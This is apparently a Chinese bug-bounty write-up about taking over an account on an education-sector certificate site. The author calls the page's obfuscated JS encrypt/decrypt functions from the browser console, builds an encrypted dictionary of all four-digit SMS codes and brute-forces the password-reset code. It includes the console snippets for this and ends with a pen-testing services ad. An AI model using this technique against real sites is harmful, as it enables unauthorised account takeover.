文章总结: 本文分享了一个EDUSRC证书站的渗透测试案例。作者通过逆向前端JS代码,解密了验证码数据包,并生成加密字典进行爆破,成功获取验证码后重置密码。关键在于利用控制台直接调用解密函数,绕过代码混淆。
综合评分: null
文章分类: SRC活动,渗透测试,WEB安全,逆向分析,漏洞分析
『EDUSRC』——简单JS逆向拿下证书站!
原创
YanC1e
溯渊安全
2025年11月24日 15:41
河南
创了一个交流群~想进的师傅可以看文章下方的二维码进入哦~满了的话私信我拉群
本文分享内容仅供学习使用,请勿利用文章内的相关技术从事任何非法测试,由于传播、利用本公众号所提供的信息或者工具而造成的任
何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关,请严格遵循法律法规。
(ps:求关注,求点赞,求分享嘤嘤嘤)
首先注册个账号,接着点击忘记密码
接着点击发送验证码
发送完验证码发现手机里为4位验证码
考虑爆破验证码,但是抓包发现这验证码数据包都是密文啊????
唉没办法
这数据肯定是通过前端JS加密的所以开始分析JS
全局搜索crypto关键字让我找到加解密函数了但是怎么又是混淆过的???
唉这年头打个证书站真不容易
代码看不懂也不会反混淆那怎么办呢?直接控制台调用就行了
let opts = getOptions();
let cipherText = '这里写密文';
let decrypted = decrypt(cipherText, false);
console.log(decrypted);
你问我decrypto第二个参数怎么知道的?问就是猜的hhh
因为最后有个三元表达式,试出来的
尝试对刚才数据包中请求包的data参数和返回包的data进行解密,成功
接着我们尝试写一个加密请求包data的字典去爆破验证码,控制台生成
let opts = getOptions();
function pad(n) {
return n.toString().padStart(4, '0');
}
for (let i = 0; i < 10000; i++) {
let code = pad(i);
let cipherText = `{"phone":"xxxxxxx","code":"${code}"}`;
let encrypted = encrypt(cipherText, false);
console.log(encrypted);
}
验证码生成
生成的字典保存到txt上
重新抓取输入完验证码的包进行爆破,这里验证码有效时间是重发验证码的等待时间也就是90秒,我们提高一些线程,爆破成功!!!
最后解密一下爆破成功data参数数据,去看验证码为多少
欧克得到了回到网页输入正确的验证码后直接可以输入新密码
最后也是拿下证书站,爽歪歪0v0
广告:
谢谢你的关注
团队中的师傅们都来自国内安全厂商在职的一线工程师,均具有良好的职业素养与丰富的从业经验。长期承接以下项目:
渗透测试:
Web渗透、APP渗透、小程序、公众号渗透、内网渗透
技术支持:
红队、应急响应
CTF:
培训、竞赛、解题、AWD竞赛服务
应届生:
模拟面试、简历修改、代挖漏洞、技术培训
考证:
NISP考证、CISP考证
#
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:溯渊安全 YanC1e《『EDUSRC』——简单JS逆向拿下证书站!》